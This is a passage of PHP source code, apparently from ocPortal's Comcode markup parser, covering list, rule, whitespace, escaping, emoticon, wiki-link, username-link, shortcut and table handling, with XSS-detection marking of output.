break;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t++$scan_pos;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!$found_list) $list_indent=0; else $list_type='ul';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Rule?\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t\t$old_list_indent=0;\n\n\t\t\t\t\t\t\tif (($next=='-') && (!$just_title))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t\t$found_rule=true;\n\t\t\t\t\t\t\t\twhile ($scan_pos<$len)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$scan_next=$comcode[$scan_pos];\n\t\t\t\t\t\t\t\t\tif ($scan_next!='-')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($scan_next==chr(10))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t++$NUM_LINES;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t} else $found_rule=false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t++$scan_pos;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ($found_rule)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$_temp_tpl=do_template('COMCODE_TEXTCODE_LINE');\n\t\t\t\t\t\t\t\t\t$tag_output->attach($_temp_tpl);\n\t\t\t\t\t\t\t\t\t$pos=$scan_pos+1;\n\t\t\t\t\t\t\t\t\t$just_ended=true;\n\t\t\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// List handling\n\t\t\t\t\t\tif (($list_indent==$old_list_indent) && ($old_list_indent!=0))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor ($i=$list_indent;$i<$old_list_indent;++$i) // Close any ended\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t$temp_tpl=($list_type=='ul')?'</ul>':'</ol>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (($list_indent<$old_list_indent) && ($list_indent!=0)) // Go down one final level, because the list tag must have been nested within an li tag (we closed open li tags recursively except for the final one)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($found_list)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ((($list_indent-$old_list_indent)>1) && (!$lax))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_LIST_JUMPYNESS'),$pos,$comcode,$check_only);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tfor ($i=$old_list_indent;$i<$list_indent;++$i) // Or open any started\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tswitch ($list_type)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tcase 'ul':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ul><li>'; else $temp_tpl='<ul>';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tcase '1':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ol type=\"1\"><li>'; else $temp_tpl='<ol type=\"1\">';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tcase 'a':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ol type=\"a\"><li>'; else $temp_tpl='<ol type=\"a\">';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$temp_tpl='<li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t$just_ended=true;\n\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t$next='';\n\t\t\t\t\t\t\t$pos=$scan_pos+2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (($next==chr(10)) && ($white_space_area) && ($print_mode) && ($list_indent==0)) // We might need to put some queued up stuff here: when we print, we can't float thumbnails\n\t\t\t\t\t{\n\t\t\t\t\t\t$tag_output->attach($queued_tempcode);\n\t\t\t\t\t\t$queued_tempcode=new ocp_tempcode();\n\t\t\t\t\t}\n\t\t\t\t\tif (($next==chr(10)) && ($white_space_area) && (!$in_semihtml) && ((!$just_ended) || ($semiparse_mode) || (substr($comcode,$pos,3)==' - '))) // Hard-new-lines\n\t\t\t\t\t{\n\t\t\t\t\t\t++$NUM_LINES;\n\t\t\t\t\t\t$line_starting=true;\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t$just_new_line=true;\n\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\tif (($list_indent==0) && (!$just_ended))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='<br />';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\n\t\t\t\t\t\tif (($next==' ') && ($white_space_area) && (!$in_semihtml))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($line_starting) || (($pos>1) && ($comcode[$pos-2]==' '))) // Hard spaces\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$next='&nbsp;';\n\t\t\t\t\t\t\t\t++$none_wrap_length;\n\t\t\t\t\t\t\t} else $none_wrap_length=0;\n\t\t\t\t\t\t\t$continuation.=($mindless_mode && $in_code_tag)?escape_html($next):$next;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($next==\"\\t\") && ($white_space_area) && (!$in_semihtml))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t$tab_tpl=do_template('COMCODE_TEXTCODE_TAB');\n\t\t\t\t\t\t\t$_tab_tpl=$tab_tpl->evaluate();\n\t\t\t\t\t\t\t$none_wrap_length+=strlen($_tab_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($tab_tpl);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($next==' ') || ($next==\"\\t\") || ($just_ended)) $none_wrap_length=0; else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ((!is_null($wrap_pos)) && ($none_wrap_length>=$wrap_pos) && ((strtolower(get_charset())!='utf-8') || (preg_replace(array('#[\\x09\\x0A\\x0D\\x20-\\x7E]#','#[\\xC2-\\xDF][\\x80-\\xBF]#','#\\xE0[\\xA0-\\xBF][\\x80-\\xBF]#','#[\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2}#','#\\xED[\\x80-\\x9F][\\x80-\\xBF]#','#\\xF0[\\x90-\\xBF][\\x80-\\xBF]{2}#','#[\\xF1-\\xF3][\\x80-\\xBF]{3}#','#\\xF4[\\x80-\\x8F][\\x80-\\xBF]{2}#'),array('','','','','','','',''),$continuation)=='')) && ($textual_area) && (!$in_semihtml))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t$temp_tpl='<br />';\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t\t} elseif ($textual_area) ++$none_wrap_length;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$line_starting=false;\n\t\t\t\t\t\t\t$just_ended=false;\n\n\t\t\t\t\t\t\t$differented=false; // If somehow via lookahead we've changed this to HTML and thus won't use it in raw form\n\n\t\t\t\t\t\t\t// Variable lookahead\n\t\t\t\t\t\t\tif ((!$in_code_tag) && (($next=='{') && (isset($comcode[$pos])) && (($comcode[$pos]=='$') || ($comcode[$pos]=='+') || ($comcode[$pos]=='!'))))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ($comcode_dangerous)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ((!$in_code_tag) && ((!$semiparse_mode) || (in_tag_stack($tag_stack,array('url','img','flash')))))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\tif ($comcode[$pos]=='+')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_end=$pos+5;\n\t\t\t\t\t\t\t\t\t\t\twhile ($p_end<$len)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos-1,$p_end-($pos-1)+5);\n\t\t\t\t\t\t\t\t\t\t\t\tif (substr_count($p_portion,'{+START')==substr_count($p_portion,'{+END')) break;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_end++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$p_len=1;\n\t\t\t\t\t\t\t\t\t\t\twhile ($pos+$p_len<$len)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos-1,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t\tif (substr_count(str_replace('{',' { ',$p_portion),'{')==substr_count(str_replace('}',' } ',$p_portion),'}')) break; // str_replace is to workaround a Quercus bug #4494\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$p_len--;\n\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos+$p_len,$p_end-($pos+$p_len));\n\t\t\t\t\t\t\t\t\t\t\trequire_code('tempcode_compiler');\n\t\t\t\t\t\t\t\t\t\t\t$ret=template_to_tempcode(substr($comcode,$pos-1,$p_len+1).'{DIRECTIVE_EMBEDMENT}'.substr($comcode,$p_end,6));\n\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t$ret->singular_bind('DIRECTIVE_EMBEDMENT',comcode_text_to_tempcode($p_portion,$source_member,$as_admin,$wrap_pos,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member));\n\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=$pos+$p_len;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_end+6;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telseif ($comcode[$pos]=='!')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_len=$pos;\n\t\t\t\t\t\t\t\t\t\t\t$balance=1;\n\t\t\t\t\t\t\t\t\t\t\twhile (($p_len<$len) && ($balance!=0))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($comcode[$p_len]=='{') $balance++; elseif ($comcode[$p_len]=='}') $balance--;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$ret=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$less_pos=$pos-1;\n\t\t\t\t\t\t\t\t\t\t\t$ret->parse_from($comcode,$less_pos,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_len;\n\t\t\t\t\t\t\t\t\t\t\tif (($ret->parameterless(0)) && ($pos<$len)) // We want to take the lang string reference as Comcode if it's a simple lang string reference with no parameters\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#\\{\\!([\\w\\d\\_\\:]+)(\\}|$)#U',substr($comcode,$less_pos,$p_len-$less_pos),$matches)!=0) // Hacky code to extract the lang string name\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$temp_lang_string=$matches[1];\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ret=comcode_lang_string($temp_lang_string); // Recreate as a Comcode lang string\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_len=$pos;\n\t\t\t\t\t\t\t\t\t\t\t$balance=1;\n\t\t\t\t\t\t\t\t\t\t\twhile (($p_len<$len) && ($balance!=0))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($comcode[$p_len]=='{') $balance++; elseif ($comcode[$p_len]=='}') $balance--;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$ret=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$less_pos=$pos-1;\n\t\t\t\t\t\t\t\t\t\t\t$ret->parse_from($comcode,$less_pos,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_len;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\tif (($pos<=$len) || (!$lax))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($ret);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($comcode[$pos]=='$') && ($pos<$len-2) && ($comcode[$pos+1]==',') && (strpos($comcode,'}',$pos)!==false))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$pos=strpos($comcode,'}',$pos)+1;\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// Escaping of comcode tag starts lookahead\n\t\t\t\t\t\t\tif (($next=='\\\\') && (!$in_code_tag)) // We are changing \\[ to [ with the side-effect of blocking a tag start. To get \\[ literal, we need the symbols \\\\[... and add extra \\-pairs as needed. We are only dealing with \\ and [ (update: and now {) here, it's not a further extended means of escaping.\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($pos!=$len) && (($comcode[$pos]=='\"') || (substr($comcode,$pos-1,6)=='&quot;')))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\tif ($comcode[$pos]=='\"')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.=$mindless_mode?'&quot;':'\"';\n\t\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.='&quot;';\n\t\t\t\t\t\t\t\t\t\t$pos+=6;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos!=$len) && ($comcode[$pos]=='['))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='[';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos!=$len) && ($comcode[$pos]=='{'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='{';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos==$len) || ($comcode[$pos]=='\\\\'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ((($textual_area) || ($in_semihtml)) && (trim($next)!='') && (!$wml))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Emoticon lookahead\n\t\t\t\t\t\t\t\t\tforeach ($smilies as $smiley=>$imgcode)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($in_semihtml) $smiley=' '.$smiley.' ';\n\n\t\t\t\t\t\t\t\t\t\tif ($next==$smiley[0]) // optimisation\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (substr($comcode,$pos-1,strlen($smiley))==$smiley)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($smiley)-1;\n\t\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_emoticon($imgcode));\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((trim($next)!='') && (!$in_code_tag) && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// CEDI pages\n\t\t\t\t\t\t\t\tif (($pos<$len) && ($next=='[') && ($pos+1<$len) && ($comcode[$pos]=='[') && (!$semiparse_mode) && (addon_installed('cedi')))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\tif (preg_match('#^\\[([^\\[\\]]*)\\]\\]#',substr($comcode,$pos,200),$matches)!=0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$cedi_page_name=$matches[1];\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t$hash_pos=strpos($cedi_page_name,'#');\n\t\t\t\t\t\t\t\t\t\tif ($hash_pos!==false)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$jump_to=substr($cedi_page_name,$hash_pos+1);\n\t\t\t\t\t\t\t\t\t\t\t$cedi_page_name=substr($cedi_page_name,0,$hash_pos);\n\t\t\t\t\t\t\t\t\t\t} else $jump_to='';\n\t\t\t\t\t\t\t\t\t\t$cedi_page_url=build_url(array('page'=>'cedi','type'=>'misc','find'=>$cedi_page_name),get_module_zone('cedi'));\n\t\t\t\t\t\t\t\t\t\tif ($jump_to!='')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$cedi_page_url->attach('#'.$jump_to);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_CEDI_LINK',array('_GUID'=>'ebcd7ba5290c5b2513272a53b4d666e5','URL'=>$cedi_page_url,'TEXT'=>$cedi_page_name)));\n\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[1])+3;\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Usernames\n\t\t\t\t\t\t\t\tif (($pos<$len) && ($next=='{') && ($pos+1<$len) && ($comcode[$pos]=='{') && (!$in_code_tag) && (!$semiparse_mode))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\tif (preg_match('#^\\{([^\"{}&\\'\\$<>]+)\\}\\}#',substr($comcode,$pos,80),$matches)!=0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$username=$matches[1];\n\n\t\t\t\t\t\t\t\t\t\tif ($username[0]=='?')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$username_info=true;\n\t\t\t\t\t\t\t\t\t\t\t$username=substr($username,1);\n\t\t\t\t\t\t\t\t\t\t} else $username_info=false;\n\t\t\t\t\t\t\t\t\t\t$this_member_id=$GLOBALS['FORUM_DRIVER']->get_member_from_username($username);\n\t\t\t\t\t\t\t\t\t\tif ((!is_null($this_member_id)) && (!is_guest($this_member_id)))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\n\t\t\t\t\t\t\t\t\t\t\t$poster_url=$GLOBALS['FORUM_DRIVER']->member_profile_url($this_member_id,false,true);\n\t\t\t\t\t\t\t\t\t\t\tif ((get_forum_type()=='ocf') && ($username_info))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\trequire_lang('ocf');\n\t\t\t\t\t\t\t\t\t\t\t\trequire_code('ocf_members2');\n\t\t\t\t\t\t\t\t\t\t\t\t$details=ocf_show_member_box($this_member_id);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('HYPERLINK_TOOLTIP',array('_GUID'=>'d8f4f4ac70bd52b3ef9ee74ae9c5e085','TOOLTIP'=>$details,'CAPTION'=>$username,'URL'=>$poster_url,'NEW_WINDOW'=>false)));\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(hyperlink($poster_url,$username));\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[1])+3;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (($textual_area) && (!$in_code_tag) && (trim($next)!='') && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Shortcut lookahead\n\t\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($in_semihtml) && (substr($comcode,$pos-1,3)=='-->')) // To stop shortcut interpretation\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.='-->';\n\t\t\t\t\t\t\t\t\t\t$pos+=2;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tforeach ($shortcuts as $code=>$replacement)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (($next==$code[0]) && (substr($comcode,$pos-1,strlen($code))==$code))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($code)-1;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($replacement);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($replacement);\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (($textual_area) && (!$in_code_tag) && (trim($next)!='') && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Table syntax\n\t\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($pos<$len) && ($comcode[$pos]=='|'))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$end_tbl=strpos($comcode,chr(10).'|}',$pos);\n\t\t\t\t\t\t\t\t\t\tif ($end_tbl!==false)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$end_fst_line_pos=strpos($comcode,chr(10),$pos);\n\t\t\t\t\t\t\t\t\t\t\t$caption=substr($comcode,$pos+2,max($end_fst_line_pos-$pos-2,0));\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($caption)+1;\n\n\t\t\t\t\t\t\t\t\t\t\t$rows=preg_split('#(\\|-|\\|\\})#Um',substr($comcode,$pos,$end_tbl-$pos));\n\t\t\t\t\t\t\t\t\t\t\tif 